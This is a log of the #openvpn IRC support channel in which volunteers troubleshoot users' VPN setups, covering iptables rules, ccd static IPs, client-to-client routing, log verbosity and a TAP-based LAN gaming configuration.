08:56 < Fohlen> k
08:56 < rapha> Fohlen: after upping the log level to 6  i see a lot of "bad source address from client". Is that significant?
08:56 < rapha> Fohlen: and upon connecting with a client, the log fills with literally pages full of "@^@^@^@^@^@^@^@^"
08:57 < Fohlen> openvpn.net/index.php/open-source/faq/79-client/317-qmulti-bad-source-address-from-client--packet-droppedq-or-qget-inst-by-virt-failedq.html
08:58 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
08:59 < rapha> Fohlen: okay i'll look into that. funny though, that a reboot should change something like this...
09:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:00 < Fohlen> http://www.void.gr/kargig/blog/2008/05/17/openvpn-multi-bad-source-address-from-client-solution/
09:00 <@vpnHelper> Title: Openvpn MULTI: bad source address from client solution | Into.the.Void. (at www.void.gr)
09:00 < Fohlen> maybe thats a better solution though :)
09:01 < Fohlen> *better explained
09:04 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:07 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
09:19 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 272 seconds]
09:19 < rapha> Fohlen: so the iptables rule was missing which is obviously a problem, but still nothing getting through. i'm a bit reluctanct about the "ccd" directory because in the config file comments it says that is only for when a client has a small subnet behind it. in my case, all clients are just single machines. so why do the ccd thing?
09:21 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:22 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
09:22 -!- ade_b [~Ade@dslb-178-000-110-071.pools.arcor-ip.net] has joined #openvpn
09:22 -!- ade_b [~Ade@dslb-178-000-110-071.pools.arcor-ip.net] has quit [Changing host]
09:22 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:22 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Read error: Operation timed out]
09:26 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:27 -!- svparijs is now known as svparijs_afk
09:35 < rapha> Fohlen: when I do implement the ccd dir thing, my client doesn't get assigned the ip address specific in the ccd rules, and nonthing changes.
09:43 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:46 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:16 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
10:17 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
10:24 <@krzee> rapha,
10:25 <@krzee> then either you have a permissions problem with the ccd file (dir must be +rx for the user openvpn is running as) or your file is not named exactly as the common-name of the client connecting
10:26 < rapha> krzee: i just figured it out. i was missing the iptables rules as they weren't executed at bootup.
10:27 <@krzee> iptables rules were having you get the wrong ip...?
10:28 < rapha> krzee: sorry if i made it look like that's the problem. my problem was only that after a server machine reboot, the openvpn clients couldn't access the internet through the vpn. then while troubleshooting that, there was a (perhaps unrelated) warning message in the logs.
10:32 -!- vvinothkumar [~vinothkum@122.178.200.210] has quit [Quit: Leaving]
10:42 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
10:49 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 272 seconds]
10:54 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
10:57 -!- car [~car@pd95cfe54.dip0.t-ipconnect.de] has quit [Quit: Leaving]
11:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:04 <@ecrist> !verify
11:04 <@vpnHelper> "verify" is (#1) If you receive certificate-based 'VERIFY ERROR' messages, you can manually verify the remote cert against a local CA using openssl: `openssl verify -verbose -CAfile /local/ca.crt /remote/copy/of/other.crt` or (#2) Note that this requires you to manually transfer the remote certificate to the local system for testing or (#3) You can also manually check issuer fingerprints
11:04 <@vpnHelper> with detailed cert output: `openssl x509 -in /some/cert.crt -noout -text` and compare against the CA cert fingerprint
11:07 -!- master_o1_master [~master_of@p4FD7BEFC.dip0.t-ipconnect.de] has joined #openvpn
11:10 -!- master_of_master [~master_of@p4FD7BCE3.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
11:11 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
11:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:37 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:39 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:49 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
11:49 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
11:50 -!- michaelhart [~michaelha@192.237.177.15] has quit [Quit: michaelhart]
11:51 -!- michaelhart [~michaelha@192.237.177.15] has joined #openvpn
12:03 -!- lazzer [~mattias@213.132.98.41] has joined #openvpn
12:04 < lazzer> !goal
12:04 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:04 < ixio> hello, how would I go ahead configuring openvpn so that a certain client always get the same IP address?
12:04 < EugeneKay> !static
12:04 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
12:04 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:04 < ixio> wow.. ummmm its running on a synology NAS, would those still apply ?
12:05 < EugeneKay> I'm guessing you mean a crappy wrapper interface?
12:05 < EugeneKay> No clue how to set it on those ;-)
12:05 < ixio> if I ssh onto the NAS it shows up as tun0 inet addr 10.8.0.1
12:05 < ixio> the NAS is the open vpn server, its installed via a package
12:06 < EugeneKay> How did you configure openvpn
12:07 < ixio> the NAS has a gui where you have limited control, assigning IP address to specific client is not an option so Im going to have to delve into config files etc if I want to accomplish this
12:07 < EugeneKay> Yup.
12:08 < EugeneKay> We don't/can't support every GUI
12:10 < ixio> whats the most common area for the config files to sit ?
12:10 < ixio> the nas runs busybox
12:11 < EugeneKay> Usually /etc/openvpn/, but GUIs have this annoying habit of calling the binary's options directly, without a config file
12:11 < EugeneKay> If you're lucky there will be an "extra settings" box somehwere
12:14 < ixio> is it easier perhaps for the vpn client to specifify a static IP address
12:15 < ixio> or is the vpn server likely to reject that ?
12:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:17 < EugeneKay> It'll ignore it, yeah
12:19 < lazzer> Hi! I try to understand how client-to-client works, when using a TAP device, it works as I expect, but when using TUN, all client can always talk to all clients, even with client-to-client disabled
12:21 < lazzer> when using TAP, the clients can only only talk with each other when client-to-client is enabled
12:22 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:24 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Ping timeout: 272 seconds]
12:26 < EugeneKay> !c2c
12:26 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can
12:26 <@vpnHelper> access things behind other clients
12:27 < EugeneKay> Basically, it bypasses your firewall. Without c2c all traffic comes into the server's tun interface, passes through the server's firewall(iptables FORWARD chain), and then back out the tun
12:27 < EugeneKay> With it, it stays inside the openvpn process(never hitting the tun interface and thus the firewall), instead openvpn routes stuff back out the door.
12:29 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
12:49 < natsukao> to be used on Android, samsumg must be unlocked ?
12:49 < natsukao> i try to install it but without any sucess
12:49 < natsukao> any time, it said to me to install on /system
12:50 < natsukao> i did as suggested, nothing happened
12:52 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:57 < lazzer> EugeneKay: Thanks
12:58 < lazzer> EugeneKay: will do some more tests
12:58 < EugeneKay> !android
12:58 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
12:58 < EugeneKay> natsukao ^
13:20 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
13:53 -!- stemid [~avatar@ns4.sydit.se] has joined #openvpn
13:56 <@krzee> no natsukao you do not need to unlock
13:56 -!- dazo is now known as dazo_afk
14:37 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 246 seconds]
14:51 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
15:14 -!- FriedZombie_ [SilverNet@unaffiliated/friedzombie] has joined #openvpn
15:14 -!- Tech-FourNine [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
15:14 -!- Tech-FourNine is now known as Z-TechFourNine
15:15 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
15:15 -!- FriedZombie_ is now known as FriedZombie
15:21 -!- FriedZombie_ [SilverNet@unaffiliated/friedzombie] has joined #openvpn
15:21 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
15:25 -!- Z-TechFourNine [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
15:25 -!- FriedZombie_ is now known as FriedZombie
15:26 -!- michaelhart [~michaelha@192.237.177.15] has quit [Quit: michaelhart]
15:34 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
15:40 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:46 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
15:50 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
15:53 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 246 seconds]
15:57 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
15:58 -!- wildcat [~tomh@unaffiliated/wildcat] has joined #openvpn
16:03 -!- Denial [Denial@2.223.161.125] has quit [Ping timeout: 245 seconds]
16:03 -!- Denial [Denial@2.223.161.125] has joined #openvpn
16:06 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has joined #openvpn
16:08 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0.1/20131112160018]]
16:12 < Aliekzhi> did someone here experiment problems with openvpn and kernel > 3.8 ?
16:13 < Aliekzhi> after a certain uptime even with openvp launched at boot, if I launch vpn, it seems client is rejected
16:13 < Aliekzhi> but only with kernel > 3.8
16:13 < Aliekzhi> could it be related to time synchronisation ?
16:25 <+pekster> Logs would e useful Aliekzhi
16:25 <+pekster> And yes, X.509 is certainly sensitive to time, so if your clock is significantly wrong you can expect problems
16:26 <+pekster> The reason for rejecting a client will be in the openvpn server-side logs; I'd recommend using --verb 4 for that to get the most detailed results; 5 is too much verbosity and will fill your logs with worthless per-packet writes
16:28 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Quit: Konversation terminated!]
16:30 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
16:38 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
16:42 < Aliekzhi> pekster, http://bpaste.net/show/152233/
16:42 -!- Denial [Denial@2.223.161.125] has quit []
16:42 < Aliekzhi> pekster, but nothing seems wrong in the logs
16:49 -!- mback2k_ is now known as mback2k
16:59 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Quit: Konversation terminated!]
17:01 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
17:04 -!- mback2k is now known as mback2k_
17:26 <+pekster> Aliekzhi: Don't use verb levels >=5 unless you're solving firewall problems
17:27 <+pekster> It prints a lot of really hard to read-past rwRW chars, which is why I suggested you not use it
17:28 <+pekster> In fact, rather than spending my time writing sed/awk to remove them, can we just see logs at verb 4 when your client is disconnected, like I asked for above?
17:29 -!- acu [~acu@adsl-108-66-57-222.dsl.emhril.sbcglobal.net] has joined #openvpn
17:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:45 < Aliekzhi> pekster, http://bpaste.net/show/152254/
17:46 < Aliekzhi> pekster, well I also have another issue, since I added ntpd I can't stop openvpn without crashing X
17:46 < Aliekzhi> :/
17:46 < Aliekzhi> pekster, it doesn't stop and if I kill it, X crash without logs
17:51 <+pekster> What's X or ntpd got to do with openvpn here?
17:51 <+pekster> ntpd sets your clock which is used by openssl (when verifying X509 certs) which is in turn used by openvpn, but otherwise I don't see the connection
17:51 <+pekster> That last log _still_ has RWRW lines in it
17:51 <+pekster> I don't want to scroll thousands of characters across to get your messages
17:52 <+pekster> f.eg: line 317 is ugly
17:52 < Aliekzhi> pekster, I set it to verb4
17:52 <+pekster> And apparently failed to provide me the right output
17:52 < Aliekzhi> pekster, but it seems the logs had been written when it was verb 5 :/
17:53 <+pekster> You need to restart the openvpn process (or set it via the --management interface) in order to change the level it uses
17:53 <+pekster> Otherwise config changes won't take effect
17:53 < Aliekzhi> anyway maybe that other problem of openvpn service failing to stop is maybe related to my system
17:53 < Aliekzhi> pekster, yeah I can't stop it
17:53 <+pekster> Well, line 306 is your worst with 32,297 characters
17:53 < Aliekzhi> "start-stop-daemon: 1 process refused to stop ; ERROR: openvpn.server failed to stop"
17:54 <+pekster> That's ssd
17:54 < Aliekzhi> and If I kill it => it goes back to loggin session
17:54 <+pekster> Then spend some time learning how to use your distro
17:54 <+pekster> #openvpn supports OpenVPN, not start-stop-daemon, not your distro init, and certainly not X11
17:54 <+pekster> I'd recommend you stop running openvpn out of distro init completely while you hunt for the source of your problems
17:55 <+pekster> Run it out of screen, or if you daemonize openvpn, you can launch it from any terminal as it will internally fork and detach from the calling terminal
17:55 <+pekster> OpenVPN does _not_ interact with start-stop-daemon or X11, so any such connection is your distro being misconfigured
17:56 -!- mode/#openvpn [+o pekster] by ChanServ
17:56 -!- mode/#openvpn [-b Ziber!*@*] by pekster
17:56 -!- mode/#openvpn [-o pekster] by ChanServ
17:56 <+pekster> ops: feel free to re-add that if there's trouble. krzee, last time +q wasn't enough and I put +b to stop the join/part spam, just FYI
17:57 < Aliekzhi> pekster, you mean running it on a tty terminal with X stopped ?
17:59 <+pekster> X does _matter_
18:00 <+pekster> OpenVPN is a process that interacts with the controlling tty (which can be detached from with --daemon) and stdin/stderr/stdout
18:00 <+pekster> That's it
18:00 <+pekster> Erm, does _not_ matter
18:00 <+pekster> OpenVPN has zero (nothing at all, absolutely nothing) to do with X11
18:01 <+pekster> Run it from a terminal _inside_ X11 for all it matters (I do all the time!) although I'd recommend you run it in a tty multiplexer (eg: screen or tmux) if not using --daemon
18:02 < Aliekzhi> pekster, hum...how can I have a running server if I don't use a deamon ?
18:02 < Aliekzhi> for client I would understand but for server...
18:03 <+pekster> `openvpn --genkey --secret my.key; openvpn --ifconfig 10.1.2.3 10.3.2.1 --dev tun --secret my.key`
18:03 <+pekster> Boom, server running from terminal
18:03 <+pekster> (obviously not a very usful server, but a server none-the-less)
18:04 <+pekster> If you don't know how to launch openvpn, the !howto may help you
18:04 <+pekster> How do you expect to run openvpn if you don't know how it works at a basic level?
18:05 <+pekster> Basically, you can't get help here unless you can provide logs (logs with _less_ than 32k characters in a collumn please) during your problem. Since you're lack if understnding about your distro init is causing problems here, I'm suggesting you either 1) learn how to make your distro suck less or 2) run openvpn avoiding your distro's misconfigured/broken init completely
18:09 < Aliekzhi> pekster, ok ^^ i think you're right :)
18:10 < Aliekzhi> pekster, do you think there could be any chance it would be link with time sync bettweem client and server ?
18:10 < Aliekzhi> pekster, it seems client and server using ntp doesn't have same time (minutes are ok but not seconds)
18:10 <+pekster> That's fine
18:10 <+pekster> As long as the certs are still within the validity period, openvpn won't mind some clock drift
18:11 < Aliekzhi> pekster, the validity period is based on what ?
18:11 <+pekster> X.509 certificate
18:12 < Aliekzhi> pekster, I mean problem stop if I reboot, but come back after a certain uptime
18:12 <+pekster> No clue without usable logs
18:12 <+pekster> The server logs explain _why_ a particular auth was rejected
18:13 < Aliekzhi> pekster, http://bpaste.net/show/152261/
18:13 < Aliekzhi> pekster, do you see anything wrong in that config ?
18:13 <+pekster> Don't use tap unless you hvae a good reason: read !tunortap and !whybridge for details while I review the rest of that config
18:14 <+pekster> And yes, you need to use --server-bridge, not --server in tap mode. But don't even use tap unless you know why you need it
18:15 <+pekster> Further, the range --server-bridge hands out must _NOT_ conflict with local address assignment, including by the local DHCP server (if you have one)
18:15 <+pekster> Go read those !factoids for more info
18:15 <+pekster> Also, don't use both log and log-append; the last one overrides the first and is somewhat pointless
18:18 < Aliekzhi> pekster, well I'm using tap because I've heard it was working better for gaming servers, but it's true I have no idea what it is, I'll read that !pages
18:19 < Aliekzhi> pekster, also instead of a bridge I use a (maybe dirty) route rule : ip route add to 255.255.255.255 dev tap
18:19 <+pekster> huh??
18:19 <+pekster> Wow...
18:19  * pekster sighs
18:20 <+pekster> There's so much wrong with that I don't know where to begin. Yes, tap can be useful if your game relies on link-broadcasts for features like "LAN game discovery", but if you want a bridge, you need --server-bridge
18:20 < Aliekzhi> pekster, that's the only way I currently found to make game processes to be able to go to openvon ips
18:21 <+pekster> Stop doing silly things like that; set up a _uniquely_ numbered network and use a "routed tap" setup
18:21 <+pekster> Still use `dev tap` and `server-bridge ...` but do _not_ make that network the same as anything else in your routing dommain
18:21 <+pekster> Then just let openvpn manage your IPs and have each client join the VPN to become part of the "virtual LAN"
18:23 < Aliekzhi> pekster, hum, what do you mean by uniquely numbered network ?
18:24 < Aliekzhi> pekster, you mean something else than 192.168.X.X ?
18:24 < Aliekzhi> for secutiry reasons ?
18:26 < Aliekzhi> pekster, "--server-bridge" means I don't need to set up a bridge device like br0 ?
18:26 < Aliekzhi> openvpn would manage it itself ?
18:28 <+pekster> OpenVPN does not manage a bridge itself, no
18:28 <+pekster> That's for _you_ to manage, and part of the reason we do not recommend an L2 briged setup. My suggestion is for you to use --server-bridge with --dev tap, and _NOT_ bridge
18:28 <+pekster> Don't make life more complicated for yourself
18:29 <+pekster> No, not for security reasons
18:29 <+pekster> For _ROUTING_ reasons
18:29 <+pekster> If you don't understand that each logical network segment needs _UNIQUE_ (non-overlapping) ranges, you need to read basic routing, maybe from the articles at !tcpip
18:30 <+pekster> If you want to do an L2 bridge you can do that too, but setting up your bridge is OS/distro specific
18:30 < Aliekzhi> !tcpip
18:30 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
18:30 < Aliekzhi> wow that channel is really documented that's nice :)
18:30 <+pekster> I'm suggesting you don't really want an L2 bridge and can happily get by with the _far_ less complicated routed tap setup
18:30 <+pekster> YMMV, but "bridges are quite complicated"
18:31 < Aliekzhi> pekster, well i tried bridge routing for several days but I gave up ^^
18:31 < Aliekzhi> pekster, what you call L2 bridge would be bridge with 2elements with br0 at the center ?
18:33 <+pekster> Why do you want a bridge in the first place?
18:34 <+pekster> 1) create a unique non-routed tap setup 2) connect all clients you want on your "gaming LAN" or whatever to it 3) you're done
18:34 < Aliekzhi> pekster, rooting from host machine to tap0 device and the controry
18:34 <+pekster> ..
18:34 <+pekster> You DO NOT ROUTE across a bridge
18:34 < Aliekzhi> pekster, yeah because it's a "bridge"
18:34 < Aliekzhi> right ?
18:34 <+pekster> Go read that networking document, becuase you're complete lack of understanding about OSI L2 and OSI L3 prevents you from using OpenVPN in any meaningful way
18:34 <+pekster> !101
18:34 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
18:34 <+pekster> We are not a place to learn networking basics
18:34 <+pekster> In fact, you are required to know them before you come here
18:35 <+pekster> If you want an OSI L2 bridge, go set one up and create the bridge, the bridge networking, and the bridge member elements in your OS
18:35 <+pekster> If you can't do that, go ask #yourdistro or ##networking
18:35 <+pekster> Then come back when you're read to add openvpn to the mix
18:35 <+pekster> ready*
18:36 < Aliekzhi> pekster, ok :/
18:36 < Aliekzhi> pekster, anyway thx for your explanations :)
18:36 <+pekster> I said briding was complex
18:36 <+pekster> No clue why you jump past the alternative I provided you so fast
18:36 <+pekster> Maybe you have your reasons though; I'm hardly going to argue with you about them
18:36 < Aliekzhi> pekster, well I only need the simpliest setup to be able to have things working
18:37 <+pekster> Then FFS, don't "bridge networks"
18:37 <+pekster> Follow steps 1-3 I listed above and you're done
18:37 <+pekster> And yes, unique network does in fact mean unique: nothing that matches routing structure on server or any client side
18:38 <+pekster> !factoids search RANDOM
18:38 <@vpnHelper> "randomsubnet" is http://scarydevilmonastery.net/subnet.cgi for a random !1918 subnet
18:38 < Aliekzhi> pekster, "<pekster> And yes, you need to use --server-bridge" well you talked about bridge first, no ?
18:38 < EugeneKay> 1) Cut a hole in the box
18:38 < EugeneKay> 2) Put your bridge in that box
18:38 < EugeneKay> 3) Shoot the fucking box
18:38 < EugeneKay> AND THATS THE WAY YOU DO IT
18:38 <+pekster> Aliekzhi: No, you can use --server-bridge without an OS-level bridge
18:38 <+pekster> EugeneKay: Broadcasts involved, so this is a valid use-case
18:38 < EugeneKay> s/valid use-case/insane use-case/ ;-)
18:38 <+pekster> EugeneKay: The lack of understanding of how to bridge multiple segments, however, is not something I'll help with beyond pointers to places to learn it :P
18:38 < Aliekzhi> pekster, ok :) so that's what I meant with my quesiton about openvpn managing bridge "itself"
18:39 <+pekster> Aliekzhi: It doesn't manage the brige, no. There is _no_ bridge in this setup
18:39 <+pekster> Just a "stand-alone tap device"
18:39 < EugeneKay> Broadcasts just mean that the application is terrible
18:39 <+pekster> tap != bridge. bridge == bridge.
18:39 <+pekster> Aliekzhi: You will have _NO_ "br0" device or whatever. No bridges are involved at all.
18:39 < Aliekzhi> --server-bridge != bridge ?????
18:40 < Aliekzhi> pekster, so it's a kind of "virtual bridge" managed by openvpn or ...
18:40 <+pekster> No. It's an L2 addresing/netwnork setup managed by openvpn
18:40 < Aliekzhi> an L2...bridge ?
18:40 <+pekster> I'm sick of telling you that openvpn does nothing itself to set up, manage, or address bridges
18:40 <+pekster> Please stop asking the same thing 12 times
18:41 <+pekster> And honestly, go spend a day reading that IBM link; your lack of network understanidng makes talking to you almsot impossible
18:42 < Aliekzhi> pekster, sorry I know I really lack of notions about networking, but that's why I'm trying to set up openvpn server : to learn
18:42 <+pekster> Well, hold on just a second; --server might work with --dev tap now that I look at it
18:42 <+pekster> Just _not_ in an L2 bridged setup
18:43 <+pekster> So, in that case verify line 10 in your paste is a properly unique segment (that's a terriable choice, by the way. Pick a random /24 in the middle of 10/8)
18:43 <+pekster> Oh, and probably comment out lines 16-17; you don't want them
18:43 <+pekster> Line 12 is pretty bogus too
18:43 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
18:43 <+pekster> Then it'll all work
18:44 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:44 -!- Cultist_ is now known as Cultist
18:45 < Aliekzhi> pekster, wow thank you, I'm looking for these answer for months on several #distribs channels
18:46 <+pekster> And sadly, many there have very little clue about proper networking too
18:46 <+pekster> Sometimes you get lucky and find people who have a clue though
18:46 <+pekster> mailing lists tend to be a bit better, though you need to be willing to wait a bit more
18:47 < Aliekzhi> pekster, is there mailing list you recommand about networking ?
18:47 < Aliekzhi> pekster, I'm on this problem since months and I hardly find people having knowledge on openvpn or even networking
18:49 <+pekster> What you need before you go that route is to read about basic networking in the first place
18:49 <+pekster> How do you expect to understand advanced networking basics when you have a hard time understanding basic networking?
18:50 <+pekster> Is 192.168.2/24 an existing network on your server or any clients?
18:51 < Aliekzhi> pekster, client also uses 192.168.2.x so I guess yes, but no nothing else on my network and his network uses 192.168.2.X (but 192.168.1.X for both of our networks)
18:51 <+pekster> !learn randomsubnet as If your shell has $RANDOM support, perhaps try this: `echo "10.$((RANDOM%256)).$((RANDOM%256)).0/24"`
18:51 <@vpnHelper> Joo got it.
18:51 <+pekster> Aliekzhi: THen you _cannot_ use that network range
18:51 <+pekster> For like the 5th time tonight: USE A UNIQUE, NON-OVERLAPPING RANGE. Maybe it'll stick in in all caps?
18:52 < Aliekzhi> pekster, ok :)
18:57 < acu> it is annoying to see the same questions again and again :) either people are less smart or the explanations can be improved :)
18:57 < acu> it seem that LAN behind the client is not that trivial after all :)
18:59 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 240 seconds]
18:59 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
19:00 < Aliekzhi> pekster, I readed again your explanations.the fact is with non-routed tap and using like random ip (I tried that first times), the client can connect without any problem to the server...but the game softwares doesn't detect themselves on the network...that's why I didn't find any other solution than routing
19:01 < Aliekzhi> pekster, routing the broadcast was the only (dirty) magical element which make things worked.so your suggestion would be to use another way of routing ?
19:03 -!- FriedZombie_ [SilverNet@unaffiliated/friedzombie] has joined #openvpn
19:03 <+pekster> Then your software is broken
19:04 < Aliekzhi> pekster, using --server-bridge +routing or only --server-bridge ?
19:04 <+pekster> Either
19:04 <+pekster> acu: This is _NOT_ lan behind a client, and has basically nothing to do with your setup
19:04 <+pekster> This is bridging with shitty gaming software that blindly assumes the entire world is connected to a single interface
19:04 <+pekster> IIRC, this is a lot different than your routing situation
19:05 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Ping timeout: 246 seconds]
19:05 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has joined #openvpn
19:05 <+pekster> Less finger pointing, more constructive help please. If you see a way to improve things, how about you voulenteer? Maybe write a wiki page and ask for advice on improving it once the basics are up?
19:05 -!- JackWinter_ is now known as JackWinter
19:07 < Aliekzhi> pekster, using...wine...with win$$$ softwares... (that should explain a lot)
19:07 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Ping timeout: 248 seconds]
19:07 <+pekster> "Windows users like paying for shitty software"? That's what I'm reading here
19:07 -!- FriedZombie_ is now known as FriedZombie
19:07 <+pekster> fwiw, I've run a standalone-tap setup before and games work nice, at least the ones not written by fools.
19:08 < Aliekzhi> pekster, but if everything was working without any problem I wouldn't learn anything ^^
19:08 <+pekster> The _correct_ thing for such software to do is send a link-broadcast (usually to the broadcast address of the network, f.ex 10.8.0.255/24) and await replies from clients listening for them
19:09 < Aliekzhi> pekster, what if he stupid software only listen to 192.168.x.255 ?
19:09 < Aliekzhi> the)
19:10 <+pekster> Then it's misconfigured and broken
19:10 <+pekster> There's no way to fix that without a site-to-site bridge, and that's really stupid to do
19:10 <+pekster> And also even _more_ complex than the basic bridging setup you don't understand now
19:11 -!- ragechin [~chin@unaffiliated/coder365] has left #openvpn []
19:12 < Aliekzhi> pekster, so this time you talk about "bridge" like "br0" with bridge device ?
19:12 <+pekster> Right
19:13 < Aliekzhi> so I would have like everything I do on internet to go in the bridge ? and use the br device instead of (example) eth0
19:13 <+pekster> WHen you use shitty, broken, poorly-written software that is stupid enough to not realize 255.255.255.255/32 is a broadcast that only functions on a _single_ network ("this" network, if you read the RFCs) then you are basically screwed
19:13 < Aliekzhi> or a less dirty way exists ? ^^
19:13 <+pekster> Try using less broken software
19:13 <+pekster> No, a site-to-site bridge involves _all_ nodes joining hands like virtual Ethernet cables between them
19:13 <+pekster> And that really won't scale to >1 client anyway
19:14 <+pekster> ie: _EVERY_ single one of your clients needs to be on the _EXACT_ same network, and their own DHCP servers can _NOT_ conflict with on-another
19:15 <+pekster> So, assign f.ex, 10.9.0.0/16 for the network and give each network control over a /24 for its own personal device addressing, somehow filter DHCP requests from passing the VPN links, and it might work
19:15 <+pekster> Of course, you need control/coordination with _EVERY_ network and DHCP device in the entire scope, and it has the usual flaws in that any node on any of the connected networks can perform hostile actions like ARP-posioning and cache-spoofing
19:15 <+pekster> YMMV, but I think that's a horrible solution, and not one I have any interest helping you build
19:16 <+pekster> Try games that were written by people who knew what they were doing
19:16 < Aliekzhi> well maybe I should try with native applications first ^^
19:17 < acu> OK - so I am trying to have the OpenVPN client as a gateway too (so I can shortcut some pain) - I have two NICs one - eth0 - go to the router (that is also DHCP) that goes to internet -- eth1 - I can connect to a switch on the LAN so all the computers LAN are going are using the OpenVPN machine as a "gateway" - is this a proper setup ? Or how can I make the computers in the LAN behind the LAN see the OpenVPN server ?
19:18 < Aliekzhi> pekster, I know my rule with "255.255.255.255 dev tap0" is wrong, but why exactly ? does it send everything in the tap device even like http pages etc ?
19:18 < acu> The computers in the LAN (at this point connected to the main router), can ping the OpenVPN address of the CLient - but not the OpenVPN server
19:18 <+pekster> acu: !clientlan. Where have you gotten stuck on the flowchart, exactly?
19:18 < acu> !clientlan
